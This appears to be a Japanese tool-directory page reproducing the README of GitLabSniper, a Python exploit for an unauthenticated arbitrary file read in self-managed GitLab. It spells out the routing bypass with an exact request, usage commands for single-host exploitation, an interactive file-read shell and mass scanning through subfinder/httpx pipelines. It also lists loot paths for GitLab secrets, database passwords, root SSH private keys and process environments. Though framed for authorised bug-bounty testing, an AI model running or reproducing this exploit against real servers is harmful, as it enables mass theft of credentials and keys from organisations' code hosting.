Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
GitLabSniper — GitLab CE/EEのセルフマネージド環境における未認証の任意ファイル読み取り脆弱性CVE-2026-85706に対応した単一ファイルのPythonスキャナー兼エクスプロイト。プロジェクト列挙、lootパス、インタラクティブシェルを備える。 | Kitploit
ツール/GitHubGitHub/ynsmroztas/gitlabsniper
偵察脆弱性スキャナーエクスプロイトスクリプトと自動化ウェブアプリケーション悪用データ流出情報収集ウェブセキュリティペネトレーションテスト
GitHubynsmroztas/gitlabsniper

GitLabSniper

GitLab CE/EEのセルフマネージド環境における未認証の任意ファイル読み取り脆弱性CVE-2026-85706に対応した単一ファイルのPythonスキャナー兼エクスプロイト。プロジェクト列挙、lootパス、インタラクティブシェルを備える。

823720日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

GitLabSniper — CVE-2026-85706 未認証ファイル読み取りパイプライン

GitLabSniper

CVE-2026-85706 — GitLab CE/EE 未認証の任意ファイル読み取り
検出 · 公開プロジェクト列挙 · 回収 · 対話型シェル · subfinder/httpx パイプライン


Author: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Site: ynsmroztas.github.io
Mail: [email protected]

所有または明示的にテストを許可されたシステム(バグバウンティ / VDP / 書面契約)でのみ使用してください。


これは何か

GitLabSniper.py は CVE-2026-85706 用の単一ファイル Python スキャナ/エクスプロイトです。これはセルフマネージドの GitLab Community Edition および Enterprise Edition における未認証のローカルファイル読み取りです。

「バージョンが影響を受けているように見える」で止まることはありません。Workhorse のパーサ差分バイパスを発火させ、Rails のレスポンスを分類し、400 ボディの invalid %-encoding (...) 内にファイルバイトが含まれている場合にのみ FILE LEAK を出力します。

区分バージョン
影響あり18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
修正済み19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
対象外gitlab.com · GitLab Dedicated

脆弱性の仕組み

3 つのリポジトリエンドポイントが Workhorse の requestBodyUploader の背後にあります:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails は生の file.path フィールドを受け取り、authenticate! の前に File.open を実行します。ここでは require_gitlab_workhorse! は実際のゲートではありません。Workhorse はプロキシするすべてのものに有効な Gitlab-Workhorse-Api-Request JWT を既に付与しています。

Workhorse は本来、最初にアップロードを書き換えるはずでした。そのルート正規表現は EscapedPath() と、決してパーセントデコードしない path.Clean クローンにマッチします。Puma は Grape ルーティングの前に %XX をデコードします。

Attacker
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← 末尾スラッシュもすり抜ける
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     正規表現は "%63ommits" / "commits/" を認識 → ミス (書き換えなし)
        │
        ▼
Puma          %63 をデコード → commits                 → Rails にルーティング
        │
        ▼
Rails         File.open(params[:file][:path])       → 認証の前
        │
        ▼
Rack          parse_nested_query(File.read(path))
              %HH ではない孤立した "%"
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<生のファイルバイト>)

file= を空にすると requires :file, WorkhorseFile を満たします (空 → nil)。リークチャネルは urlencoded ブランチです。JSON/Oj は同じようにはファイルバイトをエコーしません — ツールは常に Content-Type=application/x-www-form-urlencoded を送信します。

//、/./、%2F、; はバイパスしません: path.Clean は最初の 2 つを正規化し、Puma は %2F を拒否します。

プロジェクト id は「どのリポジトリからファイルを盗むか」ではありません。file.path はサーバーの絶対パスです。id は脆弱なコントローラに到達するための URL の一部にすぎません。

エンドポイントプロジェクト要件
files (%66iles)任意の id がしばしば機能する — File.open はプロジェクトチェックの前
commits (%63ommits, commits/, commits.json)匿名ユーザーが read_code できるプロジェクトが必要。そうでなければ 404 Project Not Found

これが、ツールが GET /api/v4/projects を列挙し、ゲートされた id をスキップする理由です。

リークの確認にはボディに次の部分文字列が必要です:

invalid %-encoding (

孤立した % を含まないファイルは開かれる可能性がありますが (read-noecho / 後の branch is required)、エコーされません。これはオラクルであり、報告可能なダンプではありません。


機能

  • GitLab フィンガープリント (HTML / x-gitlab-* / sign-in) + 可視の場合のバージョン範囲
  • 公開プロジェクト列挙 (GET /api/v4/projects)
  • ゲートされていないプロジェクト id の自動選択 (フォールバック 1..7)
  • Workhorse バイパスマトリクス
    • %63ommits · %72epository · %66iles
    • 末尾 / · .json
    • files への POST + PUT
  • レスポンス分類: leak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute
  • --auto 回収リスト (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh 鍵, environ)
  • 最初のリーク後に機能するフォームを固定
  • 対話型シェル (cat, loot, secrets, passwd, project <id>, curl)
  • パイプライン: 生ホスト、httpx -sc -td -title、httpx -json、ANSI 除去
  • JSON / JSONL レポート (-o)
  • 色付き HIT バナー + 貼り付け可能な curl PoC

インストール

pip install requests
python3 GitLabSniper.py -h

Python 3.10+。他の依存関係はありません。


使用方法

単一ホスト

python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

対話型シェル

python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

パイプライン (subfinder + httpx)

subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin が TTY でない → --pipe が暗黙的に有効
cat hosts.txt | python3 GitLabSniper.py --auto

パーサは次を受け付けます:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • httpx -json オブジェクト (url / status_code)
  • ベア host および host:port
  • [0] / タイムアウト / 空行をスキップ

フラグ

フラグ意味
-u / -t / --target単一のベース URL
--pipestdin からターゲットを読み取る
-f / --listホストのファイル
--file読み取る 1 つの絶対パス
--auto / --loot高価値な GitLab ファイルリスト
--shell対話型ファイル読み取りシェル
--project-idプロジェクト id を強制 (デフォルト: 列挙 + フォールバック)
--max-projects列挙/フォールバック id の上限 (デフォルト 8)
--forceフィンガープリントが弱くてもスキャン
--threadsパイプラインのワーカー数 (デフォルト 8)
--timeout秒 (デフォルト 15)
-ohits.json または hits.jsonl
-q静か
--no-bannerバナーなし

終了コード: 0 リーク · 1 オラクルのみ / パイプ内でリークなし · 2 使用可能なシグナルなし。


判定

タグ意味報告?
leakinvalid %-encoding ( + ファイルバイトはい — 確認済み
leak-fragment部分的なエコーおそらく、ボディを添付
read-noechoopen 後の 401 / branch is required、ファイルに % なしオラクルのみ
missinglocal file not present — バイパスがディスクに到達存在オラクル
project-gate404 Project Not Found別の公開 id を試す
rewriteWorkhorse がボディを書き換えた (Invalid json)このフォームは死んでいる
noroute単なる 404修正済みまたは誤ったパス
other500 / 残り主張する前にボディをダンプ

read-noecho だけに基づいて critical を報告しないでください。


デフォルトの回収パス

/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

エコーされた場合の影響が最大: secrets.yml、gitlab-secrets.json、database.yml (secret_key_base、otp_key_base、DB パスワード)。


手動 PoC (ツールが送信するのと同じリクエスト)

ツールをダウンロード